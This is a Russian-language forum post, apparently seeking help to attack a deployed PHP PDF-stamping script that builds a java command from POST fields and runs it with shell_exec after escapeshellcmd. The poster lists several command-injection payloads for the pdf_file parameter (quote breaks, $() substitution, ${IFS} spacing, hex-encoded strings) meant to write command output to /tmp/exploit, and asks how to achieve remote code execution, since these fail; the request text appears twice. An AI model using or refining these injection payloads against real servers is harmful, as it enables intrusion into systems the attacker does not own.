Есть два скрипта. Первый config.php
Второй такой:
Есть ли тут какая возможность для RCE?
Что-то подобное из этого:
x=100&y=100&stamp=legit.tif&dpi=72&url=valid&pdf_file=";id>/tmp/exploit;
pdf_file=x$(printf 'id>/tmp/exploit')
pdf_file=xxx${IFS}id${IFS}>/tmp/exploit
pdf_file=$'\x69\x64\x3e\x2f\x74\x6d\x70\x2f\x65\x78\x70\x6c\x6f\x69\x74'"
не работает.
PHP:
<?php
$stamp_img_dir = $DOCUMENT_ROOT . "cross/img/";
$from = $_SERVER["DOCUMENT_ROOT"]."upload/pdf/";
$pdf_url_path = "upload/pdfstamp/";
$to = $DOCUMENT_ROOT . $pdf_url_path;
$jar_path = "./pdfstamp.jar";
$timeout = 3;
$backup_path = $DOCUMENT_ROOT ."upload/backup/";
function addStampedPdf($file, $post="_stamped")
{
$ret = array();;
$file_ar = explode(".",$file);
foreach($file_ar as $idx=>$value)
{
if($idx == count($file_ar) -2){
$value = $value .$post;
}
$ret[] = $value;
}
return implode(".",$ret);
}
Второй такой:
PHP:
<?php
include "./config.php";
$x = $_POST["x"]; // x좌표
$y = $_POST["y"]; // y좌표
$url = $_POST["url"]; // 링크
$dpi = $_POST["dpi"]; // dpi
$pdf_file = $_POST["pdf_file"]; // 파일명
$stamp = $stamp_img_dir.$_POST["stamp"]; // 선택한 스탬프
//ex) java -jar pdfstamp.jar -d 1300 -i ./crossmark.tif -l 545,74 0 -o ./ -u http://jeehp.org -p 1 ./jeehp-3-2.pdf
$command = "java -jar $jar_path -d $dpi -i $stamp -l $x,$y -o $to -u $url -p 1 $from$pdf_file"; // 자바 명령어
$command = escapeshellcmd($command); // ?나 &가 있으므로 escape 해야 제대로 명령어가 실행된다.
shell_exec($command); // 명령어 실행
$pdf_url_path = "/".$pdf_url_path.addStampedPdf($pdf_file); // url 상대경로 맞춘뒤
sleep($timeout); // config.php -> $timeout
header("Location:" .$pdf_url_path); // redirect 한다.
?>
Есть ли тут какая возможность для RCE?
Что-то подобное из этого:
x=100&y=100&stamp=legit.tif&dpi=72&url=valid&pdf_file=";id>/tmp/exploit;
pdf_file=x$(printf 'id>/tmp/exploit')
pdf_file=xxx${IFS}id${IFS}>/tmp/exploit
pdf_file=$'\x69\x64\x3e\x2f\x74\x6d\x70\x2f\x65\x78\x70\x6c\x6f\x69\x74'"
не работает.